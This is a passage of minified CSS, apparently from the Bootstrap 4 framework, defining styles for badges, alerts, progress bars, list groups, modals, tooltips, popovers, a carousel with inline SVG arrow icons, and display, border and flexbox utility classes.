.page-link{border-top-left-radius:.2rem;border-bottom-left-radius:.2rem}.pagination-sm .page-item:last-child .page-link{border-top-right-radius:.2rem;border-bottom-right-radius:.2rem}.badge{display:inline-block;padding:.25em .4em;font-size:75%;font-weight:700;line-height:1;text-align:center;white-space:nowrap;vertical-align:baseline;border-radius:.25rem}.badge:empty{display:none}.btn .badge{position:relative;top:-1px}.badge-pill{padding-right:.6em;padding-left:.6em;border-radius:10rem}.badge-primary{color:#fff;background-color:#007bff}.badge-primary[href]:focus,.badge-primary[href]:hover{color:#fff;text-decoration:none;background-color:#0062cc}.badge-secondary{color:#fff;background-color:#6c757d}.badge-secondary[href]:focus,.badge-secondary[href]:hover{color:#fff;text-decoration:none;background-color:#545b62}.badge-success{color:#fff;background-color:#28a745}.badge-success[href]:focus,.badge-success[href]:hover{color:#fff;text-decoration:none;background-color:#1e7e34}.badge-info{color:#fff;background-color:#17a2b8}.badge-info[href]:focus,.badge-info[href]:hover{color:#fff;text-decoration:none;background-color:#117a8b}.badge-warning{color:#212529;background-color:#ffc107}.badge-warning[href]:focus,.badge-warning[href]:hover{color:#212529;text-decoration:none;background-color:#d39e00}.badge-danger{color:#fff;background-color:#dc3545}.badge-danger[href]:focus,.badge-danger[href]:hover{color:#fff;text-decoration:none;background-color:#bd2130}.badge-light{color:#212529;background-color:#f8f9fa}.badge-light[href]:focus,.badge-light[href]:hover{color:#212529;text-decoration:none;background-color:#dae0e5}.badge-dark{color:#fff;background-color:#343a40}.badge-dark[href]:focus,.badge-dark[href]:hover{color:#fff;text-decoration:none;background-color:#1d2124}.jumbotron{padding:2rem 1rem;margin-bottom:2rem;background-color:#e9ecef;border-radius:.3rem}@media (min-width:576px){.jumbotron{padding:4rem 2rem}}.jumbotron-fluid{padding-right:0;padding-left:0;border-radius:0}.alert{position:relative;padding:.75rem 1.25rem;margin-bottom:1rem;border:1px solid transparent;border-radius:.25rem}.alert-heading{color:inherit}.alert-link{font-weight:700}.alert-dismissible{padding-right:4rem}.alert-dismissible .close{position:absolute;top:0;right:0;padding:.75rem 1.25rem;color:inherit}.alert-primary{color:#004085;background-color:#cce5ff;border-color:#b8daff}.alert-primary hr{border-top-color:#9fcdff}.alert-primary .alert-link{color:#002752}.alert-secondary{color:#383d41;background-color:#e2e3e5;border-color:#d6d8db}.alert-secondary hr{border-top-color:#c8cbcf}.alert-secondary .alert-link{color:#202326}.alert-success{color:#155724;background-color:#d4edda;border-color:#c3e6cb}.alert-success hr{border-top-color:#b1dfbb}.alert-success .alert-link{color:#0b2e13}.alert-info{color:#0c5460;background-color:#d1ecf1;border-color:#bee5eb}.alert-info hr{border-top-color:#abdde5}.alert-info .alert-link{color:#062c33}.alert-warning{color:#856404;background-color:#fff3cd;border-color:#ffeeba}.alert-warning hr{border-top-color:#ffe8a1}.alert-warning .alert-link{color:#533f03}.alert-danger{color:#721c24;background-color:#f8d7da;border-color:#f5c6cb}.alert-danger hr{border-top-color:#f1b0b7}.alert-danger .alert-link{color:#491217}.alert-light{color:#818182;background-color:#fefefe;border-color:#fdfdfe}.alert-light hr{border-top-color:#ececf6}.alert-light .alert-link{color:#686868}.alert-dark{color:#1b1e21;background-color:#d6d8d9;border-color:#c6c8ca}.alert-dark hr{border-top-color:#b9bbbe}.alert-dark .alert-link{color:#040505}@-webkit-keyframes progress-bar-stripes{from{background-position:1rem 0}to{background-position:0 0}}@keyframes progress-bar-stripes{from{background-position:1rem 0}to{background-position:0 0}}.progress{display:-ms-flexbox;display:flex;height:1rem;overflow:hidden;font-size:.75rem;background-color:#e9ecef;border-radius:.25rem}.progress-bar{display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column;-ms-flex-pack:center;justify-content:center;color:#fff;text-align:center;white-space:nowrap;background-color:#007bff;transition:width .6s ease}@media screen and (prefers-reduced-motion:reduce){.progress-bar{transition:none}}.progress-bar-striped{background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-size:1rem 1rem}.progress-bar-animated{-webkit-animation:progress-bar-stripes 1s linear infinite;animation:progress-bar-stripes 1s linear infinite}.media{display:-ms-flexbox;display:flex;-ms-flex-align:start;align-items:flex-start}.media-body{-ms-flex:1;flex:1}.list-group{display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column;padding-left:0;margin-bottom:0}.list-group-item-action{width:100%;color:#495057;text-align:inherit}.list-group-item-action:focus,.list-group-item-action:hover{color:#495057;text-decoration:none;background-color:#f8f9fa}.list-group-item-action:active{color:#212529;background-color:#e9ecef}.list-group-item{position:relative;display:block;padding:.75rem 1.25rem;margin-bottom:-1px;background-color:#fff;border:1px solid rgba(0,0,0,.125)}.list-group-item:first-child{border-top-left-radius:.25rem;border-top-right-radius:.25rem}.list-group-item:last-child{margin-bottom:0;border-bottom-right-radius:.25rem;border-bottom-left-radius:.25rem}.list-group-item:focus,.list-group-item:hover{z-index:1;text-decoration:none}.list-group-item.disabled,.list-group-item:disabled{color:#6c757d;background-color:#fff}.list-group-item.active{z-index:2;color:#fff;background-color:#007bff;border-color:#007bff}.list-group-flush .list-group-item{border-right:0;border-left:0;border-radius:0}.list-group-flush:first-child .list-group-item:first-child{border-top:0}.list-group-flush:last-child .list-group-item:last-child{border-bottom:0}.list-group-item-primary{color:#004085;background-color:#b8daff}.list-group-item-primary.list-group-item-action:focus,.list-group-item-primary.list-group-item-action:hover{color:#004085;background-color:#9fcdff}.list-group-item-primary.list-group-item-action.active{color:#fff;background-color:#004085;border-color:#004085}.list-group-item-secondary{color:#383d41;background-color:#d6d8db}.list-group-item-secondary.list-group-item-action:focus,.list-group-item-secondary.list-group-item-action:hover{color:#383d41;background-color:#c8cbcf}.list-group-item-secondary.list-group-item-action.active{color:#fff;background-color:#383d41;border-color:#383d41}.list-group-item-success{color:#155724;background-color:#c3e6cb}.list-group-item-success.list-group-item-action:focus,.list-group-item-success.list-group-item-action:hover{color:#155724;background-color:#b1dfbb}.list-group-item-success.list-group-item-action.active{color:#fff;background-color:#155724;border-color:#155724}.list-group-item-info{color:#0c5460;background-color:#bee5eb}.list-group-item-info.list-group-item-action:focus,.list-group-item-info.list-group-item-action:hover{color:#0c5460;background-color:#abdde5}.list-group-item-info.list-group-item-action.active{color:#fff;background-color:#0c5460;border-color:#0c5460}.list-group-item-warning{color:#856404;background-color:#ffeeba}.list-group-item-warning.list-group-item-action:focus,.list-group-item-warning.list-group-item-action:hover{color:#856404;background-color:#ffe8a1}.list-group-item-warning.list-group-item-action.active{color:#fff;background-color:#856404;border-color:#856404}.list-group-item-danger{color:#721c24;background-color:#f5c6cb}.list-group-item-danger.list-group-item-action:focus,.list-group-item-danger.list-group-item-action:hover{color:#721c24;background-color:#f1b0b7}.list-group-item-danger.list-group-item-action.active{color:#fff;background-color:#721c24;border-color:#721c24}.list-group-item-light{color:#818182;background-color:#fdfdfe}.list-group-item-light.list-group-item-action:focus,.list-group-item-light.list-group-item-action:hover{color:#818182;background-color:#ececf6}.list-group-item-light.list-group-item-action.active{color:#fff;background-color:#818182;border-color:#818182}.list-group-item-dark{color:#1b1e21;background-color:#c6c8ca}.list-group-item-dark.list-group-item-action:focus,.list-group-item-dark.list-group-item-action:hover{color:#1b1e21;background-color:#b9bbbe}.list-group-item-dark.list-group-item-action.active{color:#fff;background-color:#1b1e21;border-color:#1b1e21}.close{float:right;font-size:1.5rem;font-weight:700;line-height:1;color:#000;text-shadow:0 1px 0 #fff;opacity:.5}.close:not(:disabled):not(.disabled){cursor:pointer}.close:not(:disabled):not(.disabled):focus,.close:not(:disabled):not(.disabled):hover{color:#000;text-decoration:none;opacity:.75}button.close{padding:0;background-color:transparent;border:0;-webkit-appearance:none}.modal-open{overflow:hidden}.modal-open .modal{overflow-x:hidden;overflow-y:auto}.modal{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1050;display:none;overflow:hidden;outline:0}.modal-dialog{position:relative;width:auto;margin:.5rem;pointer-events:none}.modal.fade .modal-dialog{transition:-webkit-transform .3s ease-out;transition:transform .3s ease-out;transition:transform .3s ease-out,-webkit-transform .3s ease-out;-webkit-transform:translate(0,-25%);transform:translate(0,-25%)}@media screen and (prefers-reduced-motion:reduce){.modal.fade .modal-dialog{transition:none}}.modal.show .modal-dialog{-webkit-transform:translate(0,0);transform:translate(0,0)}.modal-dialog-centered{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;min-height:calc(100% - (.5rem * 2))}.modal-dialog-centered::before{display:block;height:calc(100vh - (.5rem * 2));content:""}.modal-content{position:relative;display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column;width:100%;pointer-events:auto;background-color:#fff;background-clip:padding-box;border:1px solid rgba(0,0,0,.2);border-radius:.3rem;outline:0}.modal-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1040;background-color:#000}.modal-backdrop.fade{opacity:0}.modal-backdrop.show{opacity:.5}.modal-header{display:-ms-flexbox;display:flex;-ms-flex-align:start;align-items:flex-start;-ms-flex-pack:justify;justify-content:space-between;padding:1rem;border-bottom:1px solid #e9ecef;border-top-left-radius:.3rem;border-top-right-radius:.3rem}.modal-header .close{padding:1rem;margin:-1rem -1rem -1rem auto}.modal-title{margin-bottom:0;line-height:1.5}.modal-body{position:relative;-ms-flex:1 1 auto;flex:1 1 auto;padding:1rem}.modal-footer{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;-ms-flex-pack:end;justify-content:flex-end;padding:1rem;border-top:1px solid #e9ecef}.modal-footer>:not(:first-child){margin-left:.25rem}.modal-footer>:not(:last-child){margin-right:.25rem}.modal-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}@media (min-width:576px){.modal-dialog{max-width:500px;margin:1.75rem auto}.modal-dialog-centered{min-height:calc(100% - (1.75rem * 2))}.modal-dialog-centered::before{height:calc(100vh - (1.75rem * 2))}.modal-sm{max-width:300px}}@media (min-width:992px){.modal-lg{max-width:800px}}.tooltip{position:absolute;z-index:1070;display:block;margin:0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";font-style:normal;font-weight:400;line-height:1.5;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;white-space:normal;line-break:auto;font-size:.875rem;word-wrap:break-word;opacity:0}.tooltip.show{opacity:.9}.tooltip .arrow{position:absolute;display:block;width:.8rem;height:.4rem}.tooltip .arrow::before{position:absolute;content:"";border-color:transparent;border-style:solid}.bs-tooltip-auto[x-placement^=top],.bs-tooltip-top{padding:.4rem 0}.bs-tooltip-auto[x-placement^=top] .arrow,.bs-tooltip-top .arrow{bottom:0}.bs-tooltip-auto[x-placement^=top] .arrow::before,.bs-tooltip-top .arrow::before{top:0;border-width:.4rem .4rem 0;border-top-color:#000}.bs-tooltip-auto[x-placement^=right],.bs-tooltip-right{padding:0 .4rem}.bs-tooltip-auto[x-placement^=right] .arrow,.bs-tooltip-right .arrow{left:0;width:.4rem;height:.8rem}.bs-tooltip-auto[x-placement^=right] .arrow::before,.bs-tooltip-right .arrow::before{right:0;border-width:.4rem .4rem .4rem 0;border-right-color:#000}.bs-tooltip-auto[x-placement^=bottom],.bs-tooltip-bottom{padding:.4rem 0}.bs-tooltip-auto[x-placement^=bottom] .arrow,.bs-tooltip-bottom .arrow{top:0}.bs-tooltip-auto[x-placement^=bottom] .arrow::before,.bs-tooltip-bottom .arrow::before{bottom:0;border-width:0 .4rem .4rem;border-bottom-color:#000}.bs-tooltip-auto[x-placement^=left],.bs-tooltip-left{padding:0 .4rem}.bs-tooltip-auto[x-placement^=left] .arrow,.bs-tooltip-left .arrow{right:0;width:.4rem;height:.8rem}.bs-tooltip-auto[x-placement^=left] .arrow::before,.bs-tooltip-left .arrow::before{left:0;border-width:.4rem 0 .4rem .4rem;border-left-color:#000}.tooltip-inner{max-width:200px;padding:.25rem .5rem;color:#fff;text-align:center;background-color:#000;border-radius:.25rem}.popover{position:absolute;top:0;left:0;z-index:1060;display:block;max-width:276px;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";font-style:normal;font-weight:400;line-height:1.5;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;white-space:normal;line-break:auto;font-size:.875rem;word-wrap:break-word;background-color:#fff;background-clip:padding-box;border:1px solid rgba(0,0,0,.2);border-radius:.3rem}.popover .arrow{position:absolute;display:block;width:1rem;height:.5rem;margin:0 .3rem}.popover .arrow::after,.popover .arrow::before{position:absolute;display:block;content:"";border-color:transparent;border-style:solid}.bs-popover-auto[x-placement^=top],.bs-popover-top{margin-bottom:.5rem}.bs-popover-auto[x-placement^=top] .arrow,.bs-popover-top .arrow{bottom:calc((.5rem + 1px) * -1)}.bs-popover-auto[x-placement^=top] .arrow::after,.bs-popover-auto[x-placement^=top] .arrow::before,.bs-popover-top .arrow::after,.bs-popover-top .arrow::before{border-width:.5rem .5rem 0}.bs-popover-auto[x-placement^=top] .arrow::before,.bs-popover-top .arrow::before{bottom:0;border-top-color:rgba(0,0,0,.25)}.bs-popover-auto[x-placement^=top] .arrow::after,.bs-popover-top .arrow::after{bottom:1px;border-top-color:#fff}.bs-popover-auto[x-placement^=right],.bs-popover-right{margin-left:.5rem}.bs-popover-auto[x-placement^=right] .arrow,.bs-popover-right .arrow{left:calc((.5rem + 1px) * -1);width:.5rem;height:1rem;margin:.3rem 0}.bs-popover-auto[x-placement^=right] .arrow::after,.bs-popover-auto[x-placement^=right] .arrow::before,.bs-popover-right .arrow::after,.bs-popover-right .arrow::before{border-width:.5rem .5rem .5rem 0}.bs-popover-auto[x-placement^=right] .arrow::before,.bs-popover-right .arrow::before{left:0;border-right-color:rgba(0,0,0,.25)}.bs-popover-auto[x-placement^=right] .arrow::after,.bs-popover-right .arrow::after{left:1px;border-right-color:#fff}.bs-popover-auto[x-placement^=bottom],.bs-popover-bottom{margin-top:.5rem}.bs-popover-auto[x-placement^=bottom] .arrow,.bs-popover-bottom .arrow{top:calc((.5rem + 1px) * -1)}.bs-popover-auto[x-placement^=bottom] .arrow::after,.bs-popover-auto[x-placement^=bottom] .arrow::before,.bs-popover-bottom .arrow::after,.bs-popover-bottom .arrow::before{border-width:0 .5rem .5rem .5rem}.bs-popover-auto[x-placement^=bottom] .arrow::before,.bs-popover-bottom .arrow::before{top:0;border-bottom-color:rgba(0,0,0,.25)}.bs-popover-auto[x-placement^=bottom] .arrow::after,.bs-popover-bottom .arrow::after{top:1px;border-bottom-color:#fff}.bs-popover-auto[x-placement^=bottom] .popover-header::before,.bs-popover-bottom .popover-header::before{position:absolute;top:0;left:50%;display:block;width:1rem;margin-left:-.5rem;content:"";border-bottom:1px solid #f7f7f7}.bs-popover-auto[x-placement^=left],.bs-popover-left{margin-right:.5rem}.bs-popover-auto[x-placement^=left] .arrow,.bs-popover-left .arrow{right:calc((.5rem + 1px) * -1);width:.5rem;height:1rem;margin:.3rem 0}.bs-popover-auto[x-placement^=left] .arrow::after,.bs-popover-auto[x-placement^=left] .arrow::before,.bs-popover-left .arrow::after,.bs-popover-left .arrow::before{border-width:.5rem 0 .5rem .5rem}.bs-popover-auto[x-placement^=left] .arrow::before,.bs-popover-left .arrow::before{right:0;border-left-color:rgba(0,0,0,.25)}.bs-popover-auto[x-placement^=left] .arrow::after,.bs-popover-left .arrow::after{right:1px;border-left-color:#fff}.popover-header{padding:.5rem .75rem;margin-bottom:0;font-size:1rem;color:inherit;background-color:#f7f7f7;border-bottom:1px solid #ebebeb;border-top-left-radius:calc(.3rem - 1px);border-top-right-radius:calc(.3rem - 1px)}.popover-header:empty{display:none}.popover-body{padding:.5rem .75rem;color:#212529}.carousel{position:relative}.carousel-inner{position:relative;width:100%;overflow:hidden}.carousel-item{position:relative;display:none;-ms-flex-align:center;align-items:center;width:100%;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-perspective:1000px;perspective:1000px}.carousel-item-next,.carousel-item-prev,.carousel-item.active{display:block;transition:-webkit-transform .6s ease;transition:transform .6s ease;transition:transform .6s ease,-webkit-transform .6s ease}@media screen and (prefers-reduced-motion:reduce){.carousel-item-next,.carousel-item-prev,.carousel-item.active{transition:none}}.carousel-item-next,.carousel-item-prev{position:absolute;top:0}.carousel-item-next.carousel-item-left,.carousel-item-prev.carousel-item-right{-webkit-transform:translateX(0);transform:translateX(0)}@supports ((-webkit-transform-style:preserve-3d) or (transform-style:preserve-3d)){.carousel-item-next.carousel-item-left,.carousel-item-prev.carousel-item-right{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.active.carousel-item-right,.carousel-item-next{-webkit-transform:translateX(100%);transform:translateX(100%)}@supports ((-webkit-transform-style:preserve-3d) or (transform-style:preserve-3d)){.active.carousel-item-right,.carousel-item-next{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}}.active.carousel-item-left,.carousel-item-prev{-webkit-transform:translateX(-100%);transform:translateX(-100%)}@supports ((-webkit-transform-style:preserve-3d) or (transform-style:preserve-3d)){.active.carousel-item-left,.carousel-item-prev{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}}.carousel-fade .carousel-item{opacity:0;transition-duration:.6s;transition-property:opacity}.carousel-fade .carousel-item-next.carousel-item-left,.carousel-fade .carousel-item-prev.carousel-item-right,.carousel-fade .carousel-item.active{opacity:1}.carousel-fade .active.carousel-item-left,.carousel-fade .active.carousel-item-right{opacity:0}.carousel-fade .active.carousel-item-left,.carousel-fade .active.carousel-item-prev,.carousel-fade .carousel-item-next,.carousel-fade .carousel-item-prev,.carousel-fade .carousel-item.active{-webkit-transform:translateX(0);transform:translateX(0)}@supports ((-webkit-transform-style:preserve-3d) or (transform-style:preserve-3d)){.carousel-fade .active.carousel-item-left,.carousel-fade .active.carousel-item-prev,.carousel-fade .carousel-item-next,.carousel-fade .carousel-item-prev,.carousel-fade .carousel-item.active{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.carousel-control-next,.carousel-control-prev{position:absolute;top:0;bottom:0;display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;-ms-flex-pack:center;justify-content:center;width:15%;color:#fff;text-align:center;opacity:.5}.carousel-control-next:focus,.carousel-control-next:hover,.carousel-control-prev:focus,.carousel-control-prev:hover{color:#fff;text-decoration:none;outline:0;opacity:.9}.carousel-control-prev{left:0}.carousel-control-next{right:0}.carousel-control-next-icon,.carousel-control-prev-icon{display:inline-block;width:20px;height:20px;background:transparent no-repeat center center;background-size:100% 100%}.carousel-control-prev-icon{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3E%3Cpath d='M5.25 0l-4 4 4 4 1.5-1.5-2.5-2.5 2.5-2.5-1.5-1.5z'/%3E%3C/svg%3E")}.carousel-control-next-icon{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3E%3Cpath d='M2.75 0l-1.5 1.5 2.5 2.5-2.5 2.5 1.5 1.5 4-4-4-4z'/%3E%3C/svg%3E")}.carousel-indicators{position:absolute;right:0;bottom:10px;left:0;z-index:15;display:-ms-flexbox;display:flex;-ms-flex-pack:center;justify-content:center;padding-left:0;margin-right:15%;margin-left:15%;list-style:none}.carousel-indicators li{position:relative;-ms-flex:0 1 auto;flex:0 1 auto;width:30px;height:3px;margin-right:3px;margin-left:3px;text-indent:-999px;cursor:pointer;background-color:rgba(255,255,255,.5)}.carousel-indicators li::before{position:absolute;top:-10px;left:0;display:inline-block;width:100%;height:10px;content:""}.carousel-indicators li::after{position:absolute;bottom:-10px;left:0;display:inline-block;width:100%;height:10px;content:""}.carousel-indicators .active{background-color:#fff}.carousel-caption{position:absolute;right:15%;bottom:20px;left:15%;z-index:10;padding-top:20px;padding-bottom:20px;color:#fff;text-align:center}.align-baseline{vertical-align:baseline!important}.align-top{vertical-align:top!important}.align-middle{vertical-align:middle!important}.align-bottom{vertical-align:bottom!important}.align-text-bottom{vertical-align:text-bottom!important}.align-text-top{vertical-align:text-top!important}.bg-primary{background-color:#007bff!important}a.bg-primary:focus,a.bg-primary:hover,button.bg-primary:focus,button.bg-primary:hover{background-color:#0062cc!important}.bg-secondary{background-color:#6c757d!important}a.bg-secondary:focus,a.bg-secondary:hover,button.bg-secondary:focus,button.bg-secondary:hover{background-color:#545b62!important}.bg-success{background-color:#28a745!important}a.bg-success:focus,a.bg-success:hover,button.bg-success:focus,button.bg-success:hover{background-color:#1e7e34!important}.bg-info{background-color:#17a2b8!important}a.bg-info:focus,a.bg-info:hover,button.bg-info:focus,button.bg-info:hover{background-color:#117a8b!important}.bg-warning{background-color:#ffc107!important}a.bg-warning:focus,a.bg-warning:hover,button.bg-warning:focus,button.bg-warning:hover{background-color:#d39e00!important}.bg-danger{background-color:#dc3545!important}a.bg-danger:focus,a.bg-danger:hover,button.bg-danger:focus,button.bg-danger:hover{background-color:#bd2130!important}.bg-light{background-color:#f8f9fa!important}a.bg-light:focus,a.bg-light:hover,button.bg-light:focus,button.bg-light:hover{background-color:#dae0e5!important}.bg-dark{background-color:#343a40!important}a.bg-dark:focus,a.bg-dark:hover,button.bg-dark:focus,button.bg-dark:hover{background-color:#1d2124!important}.bg-white{background-color:#fff!important}.bg-transparent{background-color:transparent!important}.border{border:1px solid #dee2e6!important}.border-top{border-top:1px solid #dee2e6!important}.border-right{border-right:1px solid #dee2e6!important}.border-bottom{border-bottom:1px solid #dee2e6!important}.border-left{border-left:1px solid #dee2e6!important}.border-0{border:0!important}.border-top-0{border-top:0!important}.border-right-0{border-right:0!important}.border-bottom-0{border-bottom:0!important}.border-left-0{border-left:0!important}.border-primary{border-color:#007bff!important}.border-secondary{border-color:#6c757d!important}.border-success{border-color:#28a745!important}.border-info{border-color:#17a2b8!important}.border-warning{border-color:#ffc107!important}.border-danger{border-color:#dc3545!important}.border-light{border-color:#f8f9fa!important}.border-dark{border-color:#343a40!important}.border-white{border-color:#fff!important}.rounded{border-radius:.25rem!important}.rounded-top{border-top-left-radius:.25rem!important;border-top-right-radius:.25rem!important}.rounded-right{border-top-right-radius:.25rem!important;border-bottom-right-radius:.25rem!important}.rounded-bottom{border-bottom-right-radius:.25rem!important;border-bottom-left-radius:.25rem!important}.rounded-left{border-top-left-radius:.25rem!important;border-bottom-left-radius:.25rem!important}.rounded-circle{border-radius:50%!important}.rounded-0{border-radius:0!important}.clearfix::after{display:block;clear:both;content:""}.d-none{display:none!important}.d-inline{display:inline!important}.d-inline-block{display:inline-block!important}.d-block{display:block!important}.d-table{display:table!important}.d-table-row{display:table-row!important}.d-table-cell{display:table-cell!important}.d-flex{display:-ms-flexbox!important;display:flex!important}.d-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}@media (min-width:576px){.d-sm-none{display:none!important}.d-sm-inline{display:inline!important}.d-sm-inline-block{display:inline-block!important}.d-sm-block{display:block!important}.d-sm-table{display:table!important}.d-sm-table-row{display:table-row!important}.d-sm-table-cell{display:table-cell!important}.d-sm-flex{display:-ms-flexbox!important;display:flex!important}.d-sm-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}}@media (min-width:768px){.d-md-none{display:none!important}.d-md-inline{display:inline!important}.d-md-inline-block{display:inline-block!important}.d-md-block{display:block!important}.d-md-table{display:table!important}.d-md-table-row{display:table-row!important}.d-md-table-cell{display:table-cell!important}.d-md-flex{display:-ms-flexbox!important;display:flex!important}.d-md-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}}@media (min-width:992px){.d-lg-none{display:none!important}.d-lg-inline{display:inline!important}.d-lg-inline-block{display:inline-block!important}.d-lg-block{display:block!important}.d-lg-table{display:table!important}.d-lg-table-row{display:table-row!important}.d-lg-table-cell{display:table-cell!important}.d-lg-flex{display:-ms-flexbox!important;display:flex!important}.d-lg-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}}@media (min-width:1200px){.d-xl-none{display:none!important}.d-xl-inline{display:inline!important}.d-xl-inline-block{display:inline-block!important}.d-xl-block{display:block!important}.d-xl-table{display:table!important}.d-xl-table-row{display:table-row!important}.d-xl-table-cell{display:table-cell!important}.d-xl-flex{display:-ms-flexbox!important;display:flex!important}.d-xl-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}}@media print{.d-print-none{display:none!important}.d-print-inline{display:inline!important}.d-print-inline-block{display:inline-block!important}.d-print-block{display:block!important}.d-print-table{display:table!important}.d-print-table-row{display:table-row!important}.d-print-table-cell{display:table-cell!important}.d-print-flex{display:-ms-flexbox!important;display:flex!important}.d-print-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}}.embed-responsive{position:relative;display:block;width:100%;padding:0;overflow:hidden}.embed-responsive::before{display:block;content:""}.embed-responsive .embed-responsive-item,.embed-responsive embed,.embed-responsive iframe,.embed-responsive object,.embed-responsive video{position:absolute;top:0;bottom:0;left:0;width:100%;height:100%;border:0}.embed-responsive-21by9::before{padding-top:42.857143%}.embed-responsive-16by9::before{padding-top:56.25%}.embed-responsive-4by3::before{padding-top:75%}.embed-responsive-1by1::before{padding-top:100%}.flex-row{-ms-flex-direction:row!important;flex-direction:row!important}.flex-column{-ms-flex-direction:column!important;flex-direction:column!important}.flex-row-reverse{-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-column-reverse{-ms-flex-direction:column-reverse!important;flex-direction:column-reverse!important}.flex-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.flex-fill{-ms-flex:1 1 auto!important;flex:1 1 auto!important}.flex-grow-0{-ms-flex-positive:0!important;flex-grow:0!important}.flex-grow-1{-ms-flex-positive:1!important;flex-grow:1!important}.flex-shrink-0{-ms-flex-negative:0!important;flex-shrink:0!important}.flex-shrink-1{-ms-flex-negative:1!important;flex-shrink:1!important}.justify-content-start{-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-end{-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-center{-ms-flex-pack:center!important;justify-content:center!important}.justify-content-between{-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.align-items-start{-ms-flex-align:start!important;align-items:flex-start!important}.align-items-end{-ms-flex-align:end!important;align-items:flex-end!important}.align-items-center{-ms-flex-align:center!important;align-items:center!important}.align-items-baseline{-ms-flex-align:baseline!important;align-items:baseline!important}.align-items-stretch{-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-center{-ms-flex-line-pack:center!important;align-content:center!important}.align-content-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-self-auto{-ms-flex-item-align:auto!important;align-self:auto!important}.align-self-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-center{-ms-flex-item-align:center!important;align-self:center!important}.align-self-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.align-self-stretch{-ms-flex-item-align:stretch!important;align-self:stretch!important}@media (min-width:576px){.flex-sm-row{-ms-flex-direction:row!important;flex-direction:row!important}.flex-sm-column{-ms-flex-direction:column!important;flex-direction:column!important}.flex-sm-row-reverse{-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-sm-column-reverse{-ms-flex-direction:column-reverse!important;flex-direction:column-reverse!important}.flex-sm-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-sm-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-sm-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.flex-sm-fill{-ms-flex:1 1 auto!important;flex:1 1 auto!important}.flex-sm-grow-0{-ms-flex-positive:0!important;flex-grow:0!important}.flex-sm-grow-1{-ms-flex-positive:1!important;flex-grow:1!important}.flex-sm-shrink-0{-ms-flex-negative:0!important;flex-shrink:0!important}.flex-sm-shrink-1{-ms-flex-negative:1!important;flex-shrink:1!important}.justify-content-sm-start{-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-sm-end{-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-sm-center{-ms-flex-pack:center!important;justify-content:center!important}.justify-content-sm-between{-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-sm-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.align-items-sm-start{-ms-flex-align:start!important;align-items:flex-start!important}.align-items-sm-end{-ms-flex-align:end!important;align-items:flex-end!important}.align-items-sm-center{-ms-flex-align:center!important;align-items:center!important}.align-items-sm-baseline{-ms-flex-align:baseline!important;align-items:baseline!important}.align-items-sm-stretch{-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-sm-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-sm-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.align